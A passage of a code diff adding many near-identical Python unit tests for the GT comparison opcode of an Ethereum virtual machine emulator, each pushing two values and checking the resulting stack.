+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_GT_25(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_GT_26(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_GT_27(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_GT_28(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_GT_29(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_GT_30(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_GT_31(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_GT_32(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_GT_33(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_GT_34(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_GT_35(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_GT_36(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_GT_37(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_GT_38(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_GT_39(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_GT_40(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_GT_41(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_GT_42(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_GT_43(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_GT_44(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_GT_45(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_GT_46(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_GT_47(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_GT_48(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_GT_49(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_GT_50(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_GT_51(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_GT_52(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_GT_53(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_GT_54(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_GT_55(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_GT_56(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_GT_57(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
